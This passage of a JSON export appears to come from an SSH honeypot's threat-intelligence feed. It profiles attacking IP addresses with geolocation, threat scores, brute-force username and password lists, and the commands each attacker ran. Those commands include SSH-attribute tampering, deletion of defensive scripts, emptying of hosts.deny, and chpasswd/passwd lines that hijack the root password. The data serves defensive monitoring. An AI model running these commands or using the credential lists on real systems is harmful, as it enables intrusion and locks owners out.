        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6ihE6cQBxTWV\"|chpasswd|bash",
        "echo \"root:UrRi21TFHqVT\"|chpasswd|bash",
        "echo \"root:q12L9ZlRQbPi\"|chpasswd|bash",
        "echo \"root:zCJ5Lpsr4RM4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:04:10.766000+00:00",
        "last_seen_30d": "2026-05-16T10:35:42.873000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 66
      }
    },
    "43.163.97.57": {
      "attack_count": 377,
      "first_seen": "2026-05-18T23:01:20.159Z",
      "last_seen": "2026-05-18T23:31:24.481Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456a@",
        "321123",
        "Dr123456",
        "Passw0rd.",
        "Qwer@2020",
        "aA@12345678",
        "aish",
        "claude",
        "colton",
        "cvs",
        "dzy123",
        "externo",
        "fivem123",
        "giulio",
        "katrina",
        "mircea",
        "nao",
        "ncc1701"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2t77qEEeULJg\"|chpasswd|bash",
        "echo \"root:DKR8XW6o3Jie\"|chpasswd|bash",
        "echo \"root:iAyFVrZDCojI\"|chpasswd|bash",
        "echo \"root:puqRqyfnapRX\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 441,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:01:20.159000+00:00",
        "last_seen_30d": "2026-05-18T23:32:27.839000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 377,
        "Suricata": 64
      }
    },
    "43.163.98.211": {
      "attack_count": 309,
      "first_seen": "2026-05-18T23:02:33.789Z",
      "last_seen": "2026-05-18T23:34:45.910Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456a@",
        "321123",
        "Dr123456",
        "Passw0rd.",
        "Qwer@2020",
        "aA@12345678",
        "aish",
        "claude",
        "colton",
        "cvs",
        "dzy123",
        "externo",
        "fivem123",
        "giulio",
        "katrina",
        "mircea",
        "nao",
        "ncc1701"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7KC0gnjVxGoi\"|chpasswd|bash",
        "echo \"root:ig6ibCM0vcYQ\"|chpasswd|bash",
        "echo \"root:n3NG5Mi1IC5y\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:02:33.789000+00:00",
        "last_seen_30d": "2026-05-18T23:35:52.868000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 60
      }
    },
    "43.163.88.25": {
      "attack_count": 304,
      "first_seen": "2026-05-18T17:46:41.652Z",
      "last_seen": "2026-05-18T18:16:13.913Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11011969",
        "123qweASD!@#",
        "1q2w",
        "200389",
        "2030",
        "Cisco123!@",
        "Qwerty123456",
        "a123123",
        "amateur",
        "andreas1",
        "cs123456",
        "dolphins",
        "ds",
        "kettle",
        "molisoft",
        "oswald",
        "root1234567",
        "ssh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:16WHwDdGrRqy\"|chpasswd|bash",
        "echo \"root:MC9pFlc4aKLu\"|chpasswd|bash",
        "echo \"root:lOl4u2Ld94H6\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:46:41.652000+00:00",
        "last_seen_30d": "2026-05-18T18:17:23.235000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "154.81.15.82": {
      "attack_count": 292,
      "first_seen": "2026-05-09T09:16:47.721Z",
      "last_seen": "2026-05-09T20:01:59.433Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "test",
        "myappuser",
        "postgres",
        "345gs5662d34",
        "bitrix",
        "deployer",
        "dev",
        "devops",
        "djangoadmin",
        "guestguest",
        "maint",
        "master",
        "mcadmin",
        "mysql",
        "oracle",
        "sftp",
        "test1"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "admin",
        "password",
        "!",
        "00000000",
        "1234",
        "123456789",
        "1q1q1q",
        "1qazwsx",
        "345gs5662d34",
        "@dm!n",
        "Aa112233",
        "admin1234567890",
        "adminimda",
        "devops2023",
        "djangoadmin",
        "ftp321",
        "guest"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep name | wc -l"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 450,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:16:47.721000+00:00",
        "last_seen_30d": "2026-05-09T20:10:10.577000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 292,
        "Suricata": 158
      }
    },
    "103.190.7.203": {
      "attack_count": 241,
      "first_seen": "2026-05-19T03:21:33.242Z",
      "last_seen": "2026-05-19T03:56:04.182Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "administrador",
        "backuppc",
        "centos",
        "claude",
        "dirk",
        "odoo",
        "sysadmin",
        "test",
        "tom",
        "ubuntu",
        "zx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10041004",
        "123",
        "1234",
        "123456",
        "1234567",
        "123456a.",
        "1324",
        "234234",
        "Aa987654321",
        "P455w0rd",
        "P@ss1234",
        "Server123@",
        "Ty123456",
        "a.123456",
        "backuppc",
        "claude123",
        "dirk",
        "odoo@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:D7ql98GypQlh\"|chpasswd|bash",
        "echo \"root:dsZRjZBSYY2G\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rajkot",
      "asn": 135851,
      "as_org": "Excogitate Technologies Pvt Ltd",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:21:33.242000+00:00",
        "last_seen_30d": "2026-05-19T03:57:11.172000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 56
      }
    },
    "82.165.106.61": {
      "attack_count": 233,
      "first_seen": "2026-05-25T10:09:04.855Z",
      "last_seen": "2026-05-25T11:16:00.149Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "test1",
        "curl",
        "dmdba",
        "elk",
        "git",
        "sameer",
        "sol",
        "stephen",
        "tian",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "0",
        "1",
        "Abc123456.",
        "Mx123456.",
        "QWE123",
        "Test1234.",
        "Wangsu@2017",
        "azerty123",
        "dmdba",
        "elk@123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "sol",
        "tian",
        "welltech12",
        "xx",
        "zain123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nyrGYbSkku0Q8\\nyrGYbSkku0Q8\\n\"|passwd",
        "echo \"Wangsu@2017\\njWBQeihmAX9B\\njWBQeihmAX9B\\n\"|passwd",
        "echo -e \"1\\nyrGYbSkku0Q8\\nyrGYbSkku0Q8\"|passwd|bash",
        "echo -e \"Wangsu@2017\\njWBQeihmAX9B\\njWBQeihmAX9B\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:09:04.855000+00:00",
        "last_seen_30d": "2026-05-25T11:17:01.149000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 233,
        "Suricata": 56
      }
    },
    "43.243.142.42": {
      "attack_count": 219,
      "first_seen": "2026-05-02T20:07:30.120Z",
      "last_seen": "2026-05-02T20:40:48.675Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ftpuser",
        "administrator",
        "deploy",
        "345gs5662d34",
        "admin01",
        "bvpn",
        "crmadmin",
        "dev",
        "hadoop",
        "root",
        "server",
        "sftpuser",
        "test",
        "testuser",
        "ts3server",
        "user0",
        "userftp",
        "vpn"
      ],
      "passwords_attempted": [
        "passw0rd",
        "123",
        "123456",
        "123654",
        "123qwe",
        "123qwe!@#",
        "123qwer",
        "1q2w3e",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "999999",
        "Aa123456",
        "Qwerty@123",
        "admin.123",
        "bvpn",
        "crmadmin",
        "demo123456789",
        "hadoop",
        "hduser123456789"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123qwe\\n4zkItrhkCKii\\n4zkItrhkCKii\\n\"|passwd",
        "echo -e \"123qwe\\n4zkItrhkCKii\\n4zkItrhkCKii\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 131111,
      "as_org": "PT Mora Telematika Indonesia",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:07:30.120000+00:00",
        "last_seen_30d": "2026-05-02T20:41:50.935000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "103.200.25.198": {
      "attack_count": 218,
      "first_seen": "2026-05-11T09:10:25.998Z",
      "last_seen": "2026-05-11T10:46:52.268Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "deploy",
        "ftpuser",
        "user2",
        "345gs5662d34",
        "admin",
        "awsftpuser",
        "cftest",
        "dnsadmin",
        "git",
        "mysql",
        "postgres",
        "ubuntu1",
        "userftp"
      ],
      "passwords_attempted": [
        "0000",
        "1234567",
        "123456Kk",
        "1993",
        "1qa@WS3ed$RF",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "987654321",
        "admin12",
        "asdf1234",
        "asdfghjkl;",
        "awsftpuser",
        "cftest",
        "dev12",
        "dnsadmin",
        "ftptest",
        "mysql!@#",
        "postgres2019",
        "q1w2e3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:F25hIcUoLXRY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131386,
      "as_org": "Long Van System Solution JSC",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:10:25.998000+00:00",
        "last_seen_30d": "2026-05-11T10:48:01.687000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 72
      }
    },
    "172.110.221.82": {
      "attack_count": 213,
      "first_seen": "2026-05-04T19:54:42.366Z",
      "last_seen": "2026-05-31T10:30:19.901Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 141718,
      "as_org": "haoxiangyun",
      "threat_score": 59.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:54:42.366000+00:00",
        "last_seen_30d": "2026-05-31T10:31:22.127000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 109
      }
    },
    "223.233.87.224": {
      "attack_count": 213,
      "first_seen": "2026-05-24T03:39:32.390Z",
      "last_seen": "2026-05-24T04:40:03.359Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "username",
        "xxx",
        "david",
        "nessus",
        "rocketmq",
        "test4",
        "znc"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456Aa",
        "Admin-123",
        "Default123",
        "Ftpuser123!",
        "Pwd@Linux",
        "RootRoot",
        "a",
        "nessus",
        "rocketmq",
        "test4",
        "username@123",
        "xxx",
        "znc"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ftpuser123!\\nFpcLjTan2Vm3\\nFpcLjTan2Vm3\\n\"|passwd",
        "echo \"xxx\\nVEAkHTAaBMdZ\\nVEAkHTAaBMdZ\\n\"|passwd",
        "echo -e \"Ftpuser123!\\nFpcLjTan2Vm3\\nFpcLjTan2Vm3\"|passwd|bash",
        "echo -e \"xxx\\nVEAkHTAaBMdZ\\nVEAkHTAaBMdZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:39:32.390000+00:00",
        "last_seen_30d": "2026-05-24T04:41:03.569000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 46
      }
    },
    "182.240.240.63": {
      "attack_count": 184,
      "first_seen": "2026-05-19T06:51:59.965Z",
      "last_seen": "2026-05-19T17:58:17.933Z",
      "sessions": 92,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:51:59.965000+00:00",
        "last_seen_30d": "2026-05-19T17:59:19.674000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 184,
        "Suricata": 98
      }
    },
    "103.26.209.157": {
      "attack_count": 177,
      "first_seen": "2026-05-20T04:30:19.466Z",
      "last_seen": "2026-05-20T05:04:06.737Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12qwaszxc",
        "153624",
        "1qayxsw2",
        "P@ssword@2013",
        "ParolaMea02__",
        "abcabc123",
        "bl0wf1sh",
        "claude",
        "davis",
        "elsa123",
        "esbuser",
        "jessica",
        "jira@123",
        "nexus",
        "nicodemus",
        "nimda321",
        "q1w2e3r4t5y6u7i8o9p0",
        "qwer!@#$"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 18103,
      "as_org": "Neuviz Net",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:30:19.466000+00:00",
        "last_seen_30d": "2026-05-20T05:05:15.138000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 177,
        "Suricata": 64
      }
    },
    "176.119.25.48": {
      "attack_count": 162,
      "first_seen": "2026-05-08T16:46:05.497Z",
      "last_seen": "2026-05-31T07:57:07.179Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
